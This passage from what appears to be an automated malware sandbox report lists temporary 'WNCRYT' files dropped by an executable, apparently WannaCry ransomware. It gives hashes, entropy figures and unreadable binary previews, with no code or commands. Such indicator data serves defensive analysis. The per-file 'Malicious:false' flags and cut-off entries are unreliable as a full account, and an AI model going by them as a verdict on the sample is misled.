                                    Entropy (8bit):7.77758444056389
                                    Encrypted:false
                                    SSDEEP:24:BI2cB6pT6ujLMV8c8hC0aQXlb9voMLFdZFmp5oD8VL:BXT540hd1lZvoMrHm/fL
                                    MD5:FBBB03E641E023B975C178173F386CB4
                                    SHA1:9FF8A66575F58E9A073109D30DAD6AC147DA9BD5
                                    SHA-256:1096D9482657005A19E857DBE0195795B15F6426A6069A4331691FC674E1BB6B
                                    SHA-512:EDF38EA996A313925DF713690BDB1D0F44BA45A0FF2267DB8F4966CCB0DBD694D6C500E875776215D3C6C42B6DCDF9462E9D346481EA7A9CC9CA99D891793D42
                                    Malicious:false
                                    Preview:l.j..."sG. .\............<z..0..r......Y..z.-..c.:....M..!.<,..@..ni.#.....c(..'|Y1m>...rkM.A.../P...N.-...E...G...AT...tm...FTz/.....0..}.{...4.Ge...f*k.Ej...!.+...%./.h...p...'...dq.R.|....e....wL..<.|_q.S..|..f..h.A..8s.......d5..y\C..:u.0.e.rj.......9.......dW..JW.!.Y^.y,..D%}..\.8..|....k..y>((.`.->.|...J.Xg_......hH...-`+.K........K_..].O.P.~....<.._KY.q..ib..&...}.........?x.PJp3.6:PX...g..hU...bGjuk`|......nb.}.p,......L....\.-.+-...f;yh5...r<.....D>K.=...\W...}^ZM.....j[.._.."@..Z....1..u..)....s5.f/p..s..3.......y"y...p.kI.Q...P..,`...`Bo/!...5..A....b=:....*,C.,...N.........8..X.E!......6y.'...Y.E.y5:Q. (..;..:.c2..W.:.0= %........z...k...\..R.w...._.J:.Y...X.:k.n....g._....\.5oW/I.h...P............._.........j..j.s..,...C.......5...!..E.$..O.>P..J...|..<d:>.e...w..(......T.#.....P.....i..B..Uk5%...4`\w.e.......<..". ..".p.O.]6..u..=_.....9.b...G.Yj..r.+...NXM....0....A.....w~Y........DR..C<..5.U......G....!.F.(a..a}.Q<..33

                                    C:\Users\user~1\AppData\Local\Temp\17.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.800106654743138
                                    Encrypted:false
                                    SSDEEP:24:OjLMvD+fXLV2L8H5HfSwZcuQe4SQ+7MAJPIdG:uAbuLV2wHRZcuQe4SdPJAdG
                                    MD5:559C6C178CCE3CEA7C1320E11680239C
                                    SHA1:8A1CB990799557164BD4FA7AA04BEEAA09244B5B
                                    SHA-256:734245D661881318BDAB85B035F6DC13B79B196B3C78FA0029986AFF181F66B0
                                    SHA-512:31F21A3689F1269B78880B14DADEC28AC3137154A26C5E10E74CF1CC4201EE8488817E61AFA606D20F8A9165517BF30F829C9931AE43F6EF09484633ADD9FE76
                                    Malicious:false
                                    Preview:U}..+4.s...._..J.o........3l..o_B.*{...|.x..y.!=F.i........0.kN...L..md..o.~..Hz1.:;...U.v.{$.FX0....5.[.0.....$...q.k...".z...2r..R*..41pc.X(.X..^..jI.(.k....;"%.+...e...n.....4b,}A..!7..."..+y.. <.k....f.....;.."..0..o.[<l.iP4.s......./.....3.u..3............w..K.:......B.u.wF..,.q+..4...R..5+.D.....f..X .t.".$8..%<..1=...q.r..W....!...H[.....F.B.O...e.....K....8a...(.....T.g..b...=...<.....'.}...U.....M.y>....oQ.B.U} .0...p.E....gQ...8.B.....g3/l....ie...H6..".~...{.,..(..C......C..!t......r*sW....~{.|.....".."X..!..$R}....A..$..+.z... /..w...B.N..=.g..T .....?.4.....CM/:..,A&n!.lu...h.{+. ...}E.T.J0.sfd2$..{.|`.hsH.,.|..8.X...N...A..:.N.Al/9..KM...Q..ykg....[..G..xXo.oa.............J+?..-..J....|..S...E9....}g.R3....O9...D.j_M.*Z..A.9!A..._q..:E..U.'.....BWm.}...v.}(.....@....Qw....G7.\.0^6*...p...R.7..n..c`y....?ue....L..E._..C..f&7...I....q&...j<_..;...l..5.F3H....P.V.+.[.U....{hP5..6.kN.$...r.....*..xq.|..L.v......P..l8..T/e..=.

                                    C:\Users\user~1\AppData\Local\Temp\18.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.7848456553872785
                                    Encrypted:false
                                    SSDEEP:24:b4rtSfjQIC/yYLcB+pjxAMih2TvucFJnXE:b4pSfRwyYLcBUBRB0
                                    MD5:DC3B7F294E9B3258AB669834430CFBBD
                                    SHA1:0C90465B844EC8993EBC639B128C3B2657E9B165
                                    SHA-256:37EDBD0F4AE5B68DDBD456CFB11AEECE728F36C104AA1B0F75CD6A728746CBEB
                                    SHA-512:2C55DB5CD5E0990BF9C696816984629ACED0181D67FFBF1D886195A9A8D4B8A510CC1993C4F126C692AAF16D58FD32F0AA74CEAC23D833096B1D8279D497DA3B
                                    Malicious:false
                                    Preview:5.t..{.{E..%9.B..b.....L.prT..i,.u~.....u.0.....[...........HfO..p....;.?.'..0-7..5Ug3..n.O.w\b.Q..b..U'..6.n'.d.b.9.S..~...0d.k.0(....f.v...~.....N.n.X?a.7N.{....H...4Z1...J....W+A.DQ.n........I.!...O+..^.NR....et...j.. .A. .j.5y.P:5&.q(..Z._]#c.j.=v.m;(..#(.C.40.,....xuII.........+.V.!....R}?.....U.w.[..`.....w~.4.....Z..%.?.S.Hh.?..i*O..S.y...7....1..tS.6...]..}..v......_.+.C.'UK.......0/.6.n(p?N.....Tx....9..$:.!e.S...X8;..e.....b..p.<...:~%4.g...\........da..1..E.."z_Q.u....z..b.9......b.[........i..; wF.(.O..C2..2G...............L%WXu..f!K.Z...54'.fwD .YmN..O.u.-..cc...\.G=.*.0....eOI.T...G....G...x..u.K..G.'.F...T..5..r....).+D.a..1.{.;..W..gB......L..4.*..A.H...Q..q.>6..R6.v_..9T..b.."oS..!.L7.IH.#..W@..+Tm2h..5f.2..(..............0.{.Bz7..........9g4...:..sj..iQZ.Gw7........u...g...T.0..G7j.q9../.}.?....2..\...p......S..R.{......]..Kr.1............~..+0[...yf.$.cRi3".y..n3.....C....R..{....`?.[(..x......c...Xv.,1h..........@.u..

                                    C:\Users\user~1\AppData\Local\Temp\19.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.83758546945294
                                    Encrypted:false
                                    SSDEEP:24:YTihYgKY/jaqAIGTzfNEbh5Jb5MyR0TAQl9Zk6t0jhzv3M:YwbXczfNS544QlD+hzv3M
                                    MD5:8F79458EEE25EA2FE9A7C3F2D58C6FFF
                                    SHA1:2AF32BB0AAC99632C011D950EC28F94D0EFCDE72
                                    SHA-256:86F1A59840F916A2BEB5028FD591D35086F06E0426387C500E9CC109A9D73082
                                    SHA-512:A71BA2C5D440A45400E0406AA35F23B906ECD8AF59F8A0655238E8304E9265C416F2C867ED4BD7AA88472255BA0BB469ABBA38E613637A885D8FF7A2E2266182
                                    Malicious:false
                                    Preview:ND7%....Op.C..@..Z..)..ks.....o../..|Hj.d.|...V.9M......vo.H...-..=\.sR..8...2.p.L.f..i&I~..O.p.|..K."U'u...\....}Fb.1...-.<.{8...Y...?-.s..tVr..}u.r..f.........ua.$u..ZA.]...:.....b........._......7....5.C.dkZc.,.....P.,.tbQTB%"."..KD...u..G\?..V.<...b.[..^..5.G..8.!)..Ew.uV.:.h...g.D.u;R...........T.rH{......,.q6."..y...vHc.^..).P.wDJ.........p$(..~+..X..#.vo...Y..p..O......;z.Bp.....njy%...i...(.lr.f..+.S..:! .F....|..g..A...}..?.S....\.....!...s...j..1.G..:...L....7<..=....f.&A.O.;y............X..U..".......AZ'.`Ng..g.5....j..b..M?*....L.p..I~.3..Cn?F..G..........\U...S..p..m.d..?d.6~......&.M....Qdq..q..n....H..0U...5.h.l$.Z.-...{.7... ......Wc.J.}..j...M..zk...M.X.CEv.X~...m.s....O...mc....9.X..t.......'.R..,$...._&...;QI..].sdg..F.f..e.f...-8.T.?...v.Uq7...4v....+..V.6Io*s....x..].2-DW..x\..|...k....g8..,...s......,...@..h..s....!.q.../w.di..e&..SO..Cg`.=.k.+=...~/-..5sX.I..~....3.tAL.:Fj.-..;...\.7.!4....*.....6.6Y.7.....R......

                                    C:\Users\user~1\AppData\Local\Temp\2.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.801055900863956
                                    Encrypted:false
                                    SSDEEP:24:6OoXAu3UrILWNZmmpGKJKWhXv5EQK58+c950GkMS:62u3q2XKJphXB658+cj0FT
                                    MD5:01EC2B06858E4F63D3F537062235509A
                                    SHA1:7EE6E5D0514B02ED91C09E429FC5071792B38E69
                                    SHA-256:70E0A9FCFEEAF3D926FC35A51443A864E53B908545EDE06FF3B3693424536CCE
                                    SHA-512:FCF8FC941E03AE4F0EC5343DFF7E3C9E01789F7854942A40C0505F66EB3E46A62F1213CA9D796D5872538FD2CF1EA79B1E4DC523C6ABF32CA6022C69C7210D1B
                                    Malicious:false
                                    Preview:M..f........U.Ar..k..%...Y.!...Te..m.o....(.R.....x`.u:..9.Q..MM...(.;.08^.?.......w.`>v.m.D.1j.......!}C..3~.y..[...._J..e{|^;...t._.V.........qRK.M.6I.WF....z.......(/.....o...:$.(-=Hu.l.J.#}_.|..t.r...n.x.u.k6..LW..=..(....(..f..`..{+..)...)Rp.B..u..8y.k..I:.0...y..]...B&...)p.^.j..W...Mci....Q....\...s..a,.EM....uY.R...g.%....X.D...80....M..+Y.y....&.q`Wqu..Ide..0.+.<C3M..6.....|.Q[........Hr...*.:Q.....-..H.....6r....p..L... .0..D..Ig-.9T._.4..\..S.T.OS........(......4w._.w0..j2y..g...cQT6.>...3x.@....UG.z.f...u^..2..4#..IQ,B.t..$ H^..~..o#..o...O..|.X.).xL.[.....Q.(...P<~..<..QCw.r...s~..bX$....fl.H..N.......hj....t.. ..P.3CO...U%......Q.@JI&..E.../.c=.2G08.v..\1.m..6S.....w?.<F..D.&..b.K.QI.U.I..CJI.>.H..x....Uw.h.m.0.iNWJ`"u.....XN..I/_...j........M.N.48G.].V/....x..!....A..9.....$=.o.+...9.P4......^.....h..~,.E1idT...O.(..nG9Nc......!....t..M.MnO.,.E.X5.=A#o.;_.z.w...D./..!L.....$F6.@.b~..l.....a)|..`.pG.q..a..a.*`,.|1_..O.r.Xf.#.A.~'.Ck9

                                    C:\Users\user~1\AppData\Local\Temp\20.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.790504758492682
                                    Encrypted:false
                                    SSDEEP:24:/urFU28kxqrGLkqClyh1sTNjVbOdjtQS+avwWD9NeeMYqx:/0LdWl3hU5QS+a72
                                    MD5:A977964158CA9AF0477FCF3C9B038746
                                    SHA1:D354C67916D894FA2CDF72CFD236413B3A6E99EE
                                    SHA-256:ED532ADB489B6DF39B69CD7DBD536FC4B6D493288CFAC885EB250633F099687E
                                    SHA-512:0D3C6FE256207AFC3063158B3BBA3C84878E66AD8A07EA441A160B1F54E78E469BDB903BAEAE369378007A4F75445656FF2B833B47B19FD185721ABC77CB5027
                                    Malicious:false
                                    Preview:.~,..."....sUq.N.. 5....U.......u..j..T..l$..&.H.b,.`;....s.[....m.D....G..)....t..a#{.....hb.......{FO...t~..q...>.M........w..X..A...............u.~G..v.%^.._.n..0......5.....h`.^v.%.6.`......Q.:../(.#9hh...,.h..[A2N..%.h.;n.........zo..J:.?.d..S.........05X...l.Ti5sa..!/r.3...`...g.-;^X*W....`[..8._..n5+..~n..0..k.*OX+.......'.<.b.)..L.......$./.Xr...m....Bk.U..........h..R..1p...OZ......z..$.To..P.p.........:.A...ve.].D#..8.,..0....yFA+.F).......x7..\.(..X."..VV.,...[...2rI.M}...wR../6...p.D.x<.ly....yuN...#.^.n.A!-d...RZ}..{&wc*..:..%.......0"zR7.8.,.z'....gt.%.D...U...K...#<...`.....9}.?.i......E`..!k.X`.%z!...t...g...4...P.z..X;.:gy..7...w6..f.. .h......T?......0.r.:..6.!O..G...k..z..4......&i.Y.e;`G...t.{`.....c...&.....Y..bi.V.......J."....s............a....[>....m.+..*.......U/Z..M....NIv...Y..:..R)t.X5...Z......%{3E..'..{..N._5..?n......a......AM...v..mp.. .6~...,.xQ.),Y.../....9.....\.%ML..f.FfK.7d..z....b...@.........?.

                                    C:\Users\user~1\AppData\Local\Temp\21.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.8038378295149
                                    Encrypted:false
                                    SSDEEP:24:LxBZkY4SkIqfFhPlmjJXEzN62sSQSUZKDg:LxBZTVkIqfF7mjJXEp6nSW0Dg
                                    MD5:73693AA32C42F00093D3C14D64E85493
                                    SHA1:4BF159B61544FD45163FCE0CB0390D02884CAAB1
                                    SHA-256:01BC9421CD7456E83248555340ABF19DDF384980AE1AA4C18642D0F5ABF2DF79
                                    SHA-512:702B465B68D3F50D342211B0BABC667DA1B3D3BCA536553391C86800BF81A1588A3D79A1789125B598382CAC236AEE1E776D6601E3D1DA157B3663AA7D7F2A4F
                                    Malicious:false
                                    Preview:..%.....u.yY.O.Kz{.s..\;q...$S.s8E.|........aiG.....Q..u..u...Ju'.&..J.....P.y.>...9.7.<7."....|....3..??S:.....iZ?..|.......u*SoyZ ..!...L.....r..`...Wr....."g.b.U=.C..]K{.....'...........f.}qiv.4.J~Q..XL.q...)..a.4e.X..1{..f.H.t.<..h...%.....T.=.Oj..<C..:.....5.K.*......1..|.P.x?.=...6.b.W'b..z.c.{.4nQd..(aQ<.=h<../q-...l.F...G...(L.\..a]\....-jj.A.U&.+r.(...Mb_r.4.I3,......X*.....?O....0.y....B....res.{..3..u...>..o..0..X.vC...J..I*i#.X..g.....,N..u...K..1.c.z.~G....c..Of..*}.@:.....AUy....h..i.R..|...x.b..b.O...j2.....o&.J.*......"U@.&^.`9.).n....9.I.3.}Xa6....).F.8..%Dd..z.3.........|..L9.....F...J..:~..4.D;{....h.D.Z..5'..f.wO..F..:L"I.#.E#}#.......y..|.;T<.j..pM....3.%..}.}R]..,aO.9.h.(........z/?.C.5....8N._N.W"...Ab......%n.....D..w....:".*......39.n.5..{..m.....a....+.~e.[j$t.T.H....NK...-.^..+ImU|....3...q......R.m. .0.|.}6.9.YTK.h[.....I..Xk.F..!7r..Jx\.P....S8e....A...n.yn....,qi....|y...e ."@r.uU.#.R.yP.2.N/...P.:.^5 .

                                    C:\Users\user~1\AppData\Local\Temp\22.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.78804087380104
                                    Encrypted:false
                                    SSDEEP:24:oln44z3THZ0XrAnt3YsDbNgRbpjg5FlWlm/hdsiKjgS:o20krAntbiRtS0lm/rbKF
                                    MD5:FFFF9EC1A95AE747FE753B02B2E12A89
                                    SHA1:B8E0541BDA12D7F462BF7529828C1392C61A1C68
                                    SHA-256:F5551F6F5B8D30D1759BD776C47C6C4D9C538CA2F5BA490C711D95A855D62568
                                    SHA-512:60E29F17B60A8E3AAF7BCE22861EEDD04B827DD500CFB48753C0633B3EFDDD60517C94514FF0092CDF9E27CEFC2A78BFA6BBDCB248D6BFAD18D5276ADC485C1D
                                    Malicious:false
                                    Preview:.M..}.'6.lq5>]*.+wA..........2.Xb.xIG.........'-....`cOaX$....tA......~1[.[m.[.>......spH..#g;.D4..e`.6..N.....cpA......g...=.B.O(;A......-5u_3Q...K.Y......!C...x...F...|..,!.rS...d..i.A.......r..:p.fLcf;r.<.3'.,:cV.....f3..@...-..Z... ..=.o....I.0...2i|...q/M.,..Z.!v...7(..0e.I.)..v._(.......H.s..O. .>........]9.d.>.#}L0.W.|..K...`.m..=8p..c.C..4'........1egp..dR.Gv.A..{.,..R.z..:....D....V..{...H.nl...^h.....M..@`.......;..L.....2....$j....o.2....Ddn...6....%5......-.A.L.....0.K(2..X..]:...X|..D^'.>rx..t.j.X.']#.. 7&....^.F}...G.?.>.?.XUQJw..H.........B....TM..=......A.5..K;k.Z._.k..&.G..*>....JR.......C..8....Fj..%...N....+j...;...TS....x.45t.?Xm....[G>.a........j..x......Z.k+m.Tvu.........5k(..&.~..-..A.UW...R.;.......|B..}s......Qc+....:h..H......,~..h.......X%..w`ZFl^Me....0..j.$......7.V.8<`-le.*.@..;..V..3.Nt.K..MY.v.d.(.2H...33....~......HJ..i....'._...a.-.}.(.....)!....<]+.#I..Px...E..K..\....;.Q...9...W..X....].....&..

                                    C:\Users\user~1\AppData\Local\Temp\23.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.826186594382082
                                    Encrypted:false
                                    SSDEEP:12:BZ4YFSYUeq0QZMeZc+eqbG1OC1f4eCJmUOYWq+/0GGkiaRK1i4BllZfbAGhZTdD2:wYFyeoJbylsutRigUvlRAGhZ5IyBWX
                                    MD5:C824954A7826CA20B1C546F253B072E5
                                    SHA1:AB840F95873397B1FE57678187F818D4E0E38136
                                    SHA-256:33A9B5976AADA63DA0DABAB9D973349322DAB58559D673A4AE3C46EC52DE9890
                                    SHA-512:462E7CD8A03B1312858963D5420EBEF4D5593CBC1D0ECDF4523A927C0D79879BC6E6674D35121708AE1246BE03141985C060068F26898E6451BC2E8025EF7D26
                                    Malicious:false
                                    Preview:....].#".....9.....;sI......v......._. .H.>ib.f|..H.9V.`...|,.._*x....=...>'..3d.0~..?..7K..s$.JQ..6...#..^...K..7...QC..d,....NW.l.1....~...;..+.........w.h.....&p.\5.#.'....H.S..u...w.R...8...X.X..t.L.l.0.`...P1..Q\u..\....)..>/^.)..].....4G...N.v.cA......X._........- ./...lsw..B.....*.... t....,....J.........=..F..g....1+u..........J.kC30.}.s.FMC[....8d.9.:....<.d)..kb...'.xo.|6B[..<....q...x.F2$..O).L...%.g(...K;... O..D.N6;.....V....M].....h<.C.!....9..J..7L.9../[..,_k.9r..R.9...&...=f..c.....9=.....7P...Z..w..C..J.A.&.\P?]...`.,...O..SbV.Fy..UV...[.Q..Q.+.v..#E..TjX..=...e...a.....\...t/.....oq....K. .e....@..*..v..8..3.|{..N..O...H..8@.?..%.....:...dk.W...Q<..".}....:....Ey.N.z..h6FdJ....)..y.`.(v.)..W.=:..?.rxR.............`..>;..3o...).......`...o..j.....BX8t.l.6.W#C.AkD.4.N...8..V.G..e>.d.(n.W.3......i.....x.c.....3$..G?.....k.Mm...Cg...p..P5..{...n.3<rv...-..b^..:...zu.!...q.%u.m.........@'......0Y6.^D[.;Qv-L..v.

                                    C:\Users\user~1\AppData\Local\Temp\24.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.799350964004862
                                    Encrypted:false
                                    SSDEEP:24:1PtaDcZXfd2IP4hhflNdqGZufLHmbGOuPLODWOP6SW:1UYF3P4hhfBqGZOLGCOuP61PDW
                                    MD5:6BF262362C375CBB4A0F25B963B5061D
                                    SHA1:B247A8640F2C4E6B96AD102437E48BE88F6A0F2C
                                    SHA-256:5E06D8399A65177D3F095A9C562AAA05E3A45E4E2CA81E35308201A87FCBFD8B
                                    SHA-512:3C343B020362D6C8B74C066222A6B8E167DCB5E3A8C74F72D129EC2F958216818774A0534E54A58C8B9551243488620002ADA83A75113F904F07F1C4419D8736
                                    Malicious:false
                                    Preview:.@q.e^-.aI.s...Z..|..7.... .%!(.._p.MH..J.mh.[.D..ZUi........'..v.^Z.....zi+.p...@.I.`.}.i2.\X./...A....H..j.:..U.>..D...........)....{W.nq.q..K...".O.1K.kyY.N.^w.s..b.i.W.|.h..........,.ij..l...b..._2P.Cw...f..~Edk<t0..5l...8..ER.]....T..y~.F.T.Q ...;.A..W....y......f... ...xDG.sR"...T....D;.Q.z.o.>M....,.d.'{....w....8f}..wy.(%@..*.k..ZD..O..43...Q.;.dl...ro.....K.M5..~T.,.zWmM..X..==.(t...;.X.&.H%.M.....O.s.Le."....d.......o.....b..W..l.,~..,.r.......7B.....`..X...%v.[.U....R.E..(....* .b...[.v.h....;k+$...b.|..W.)~.fu.M\..".{1..#v+'..D..V&...*.......N'y..stJ.P.1.Jx... .......]Q.L..)....~...GuS......q$.kN.....neXF....l.:_.c&..e..z.#AP\8..=.&`..$Cy.........&D.h.3IW3..f.O[..<..\.<k&.16..@.R.-...*].Q.u.|.e...2.p.P..&.Ts4.T....O.u.Fu1..L..[.tp.I..7....D.......#.Q..`..gc.HN....l H.'#|^.H.Y.*..c.....O..> b:.db.c.t..q+.....+.]}...#..3B..HS..9J.27...<..R9...*.c.' ...\=..d...A.U.}84D.u}).!...=..-..f..xV.h........./.A....j...e.C.=...E.....N...e|WG

                                    C:\Users\user~1\AppData\Local\Temp\25.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.81586684460995
                                    Encrypted:false
                                    SSDEEP:24:D0miiETuEmSBFyWjgqbztcbtCrNSh57PM9SNc0VCm6FAr:D0tiESIaVcr8h57PMgNfVyAr
                                    MD5:7BBD1DAE07DC31ED1704EA519382EA35
                                    SHA1:6E22B17E7FAEA47B7B9918265FCA45FF1162302D
                                    SHA-256:671181AA555404FF1E97F4183CEAFB6D6ECAD4AD7B82EA19F525BDB344928000
                                    SHA-512:84B552EA66C93D663875361EA1065665D378975CA68DBA1BF4EB7C1E63993552928DC6F267BEBCCD87679F4636F8FA41C479A59951CA1BA42A6A85DF92235BB9
                                    Malicious:false
                                    Preview:r.......!.c...U..1h|.....^.JM.@R..Y..t.0Y.....e.?v.:]p.....vu......2iG.K.3..|aF....F..5...k....p;.PV..Ug..#..!...............#.s.\.s..s$.]..-.iN.*KhB...K..2.tM.......E..~..KG&..|q6V`."W...2D..QfpS._.......S/].....B......:...g."2.skFP45g..Sz...O.....f.(.-...8?.s..!.6C....,.\`.....,{.K...I.*w..!\o1...U."......C........m]^U2$.w....C..~KKC.2{.P.(..Eo..z...t..|#%.&....]#E'.....c...4.......P......$......Wg...I..G........i......+a..."eT#y..f&w.:..y.%..m.a"...d(.k...G..K.\......J..6....2.3xU...............")......~q../....}E..*.rJ...cy.Jt..^....s(.........k.#..C6\..i....4..*....H.m...[G.=2.<..+.......Z.B...8'...D...W..3&....~v.T.i.v7...n.<.....V.D....(.h..}.0..;<~...gK.[.o..a.{,Q{.....M...x.....2.p5,...c.c5..%.|h...]..S..pi.4. -..#.uO.T.9..n.........kI....C.7...7V....Qn.)c...A..PF./.:9.5......iC......N.w...R{..~.*u...+.C..b.....Qbu....b..t...qP..."8.jlX..:..~.X7]..wk..._....@.0..M.^KE2..l...U.....h.+.#f.h@.....je.j..a]E]...R..Y..M.=d2^...

                                    C:\Users\user~1\AppData\Local\Temp\26.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.816690583831191
                                    Encrypted:false
                                    SSDEEP:24:oDQlanmdeV8EibhQxJejoiTgchrNDG97TRtrIz82uu76vcz90WXnC:oEdQV8VuxzSxhJS97t32xe0zc
                                    MD5:1109370D6FA8DBD130F36821F55658F2
                                    SHA1:29F1F86A8717DAFACF2C8A3B35295EEC10054EA9
                                    SHA-256:F392C2E8555F2CAFE97C3447666CA3498A7530A411D1490F7FAC2CFBB90A109B
                                    SHA-512:021B26AE9A0242CE5782FFA25D6B0DECDE452ECE3BA104A28DE897804ECC84BAE9FAD78DF9688F3FB07B6BEBF47DD266DF698FCC8CD9D6309915D0121D834193
                                    Malicious:false
                                    Preview:....c.U.......CB...R..X....X`.j......T...6x.o.F<.[.f.O,....I-.......)Y.W..#.!.a.Y"....3......3.....1..y....Ik7R...\..._.O.a.\...".m...OL..f...J.........SC....~...e.[.px..p5.f.f..A..X...d.S.<.e..D....B*...U.)..|.....}......|$.L8... E..RjR.....b}........L.....l..D3....^........v(#...NJ.b.c.v.8..b...b.8...\c3?.....`..K.Z.1.".....C..+......f..H)6..CfoO.....$j...$C.m.m..Yi.....A...K..[...o.|....("K...M.b...}...T..f.......'......8.-I.>...-F.../.t....*.9.N..J.\Z.Tn..~o....O~.d.`....n..\.d5.V..g....q'.#...iVB..QD&...5#.mV..,O.8}{..Nt.A|@.N|.fa...v.Buo......Y...V{....S.d0L5...(..Vk?.3.(../...mQ.....]x..]......}@@.uO..&...o"....m.'.:......R.A.c..xwRU...T.y....NyV..3...D.s.Q..~.M...>......Ew.N...a...r..>`...1.x..)e..P.y...v.+3@^.3C6.&.0...I.J.sH.....E..;q<.n..{..Md.^z...a...mR.....r%Cw...9.(".<.T..R.p.'$.'.]..;..8S*.. ...........P'V....M.Q`.......t..;.".K.x4....?i.Eb....xJK.0.}....,r.Jz......m.............._..C..j..D....]..J.\...xD}...+e.)v...X....B~

                                    C:\Users\user~1\AppData\Local\Temp\27.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.771343038947842
                                    Encrypted:false
                                    SSDEEP:24:/B197xqp/WzGS2j6Q9hTiNXZxkthoYknY/FC/mLak81:/B7No6TQ+NshoBnYCeLl81
                                    MD5:F4B82D8F598D507E0E0B7A2C6837D4C8
                                    SHA1:96BF4FA4CA26E2C339927A4F731D02CE7513E36D
                                    SHA-256:808B2E0392502B706B9B0B5C0FABA49936520A288C8AC4F7EE75E04A4A09B9A1
                                    SHA-512:2A3458D041F9087A1C281899D97CC9972DF34ADABB473CB0E192475AF6365A75E1876B6DC79C76A9A09648D4BFFB980133648A41110DEAA7329B5A2276243762
                                    Malicious:false
                                    Preview:f.m.GZ .o>...n...v...6...f.R...T<.wGE0C....+.8a.,....|.......W.p.k..VM.{j...r.`{.XH..+...L4D..R...".w.?K@E{.M..lm...}....K......D......5x..r.u$Idr..Y.It...k.[.0QZ.;N....A.NR}*......}.}.L......ye...(.^"l.*@..'.J..F....E...2].M..............3..h.('B.u M1C...yPC[.H....}..L;2.{...D..>....KOT.VX.^k.#.........h....&......m.........<...i......./-..%.%.6j..P;4.Y....=.#.........."..8.0O[J..E~.T.|..dF....!.S}.%.N.w.......#..}......6.E....[....`-....8...K1.PVV..O9....3.AO......W.UhX.~{..[.b...2.*..... ..u..U~..=_...........O.-.M.H2.....=..A...+.$=...T.co}A....{^.......y.D..vd...;,.......I.k......t[..*.w.Q)A\<Z..v..R+ .d".7..5.w[.....>/....e1.1J.N.B..X...".4..4^.D.q.....@T.d..DI..YD.Z%o......,...zel..>:<NQ..Ut0.F..."V....A\b.&..tW&.......C.;./...a..........zk.y...0.7Lm...l.EM.....ztG.d3~.w..t.lu.mJ...DtB.1.O.E.D.p../.!"..3..r..<[.g.............7.z..W._.P..nHjM..i|N.(...1p..r...w...}?b.....g;...t'.]..............HF.`!."y.-&..C..9.2......P>..xf.$.H..'.$..^M

                                    C:\Users\user~1\AppData\Local\Temp\28.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.805720177395011
                                    Encrypted:false
                                    SSDEEP:24:dkT0olVhrs/5EDOr5qPCHh8iKEUF6gcfFoa3yBvdC3Wge/7v8FV:dlojhr8EirMGh8iK96zuaCBU3Q/7M
                                    MD5:87246575986DF27A620C9EC2128E79E3
                                    SHA1:65D1B777163E767727A46605089CA0542912BA5A
                                    SHA-256:0E0516F1004D1C8A77BAE6DD2A0C9796AFA927E0F2F784FFD916737EDD771F67
                                    SHA-512:2BC48AB64D96D0DAA29B90C45AB18816648EF69E59E10BFFC9FFCB4A9CFDB6387ACE0D372FB6C8EC8E60737D7DCB7FC8A79FDF0E0A1C7BE9EB82F039AD79BA0E
                                    Malicious:false
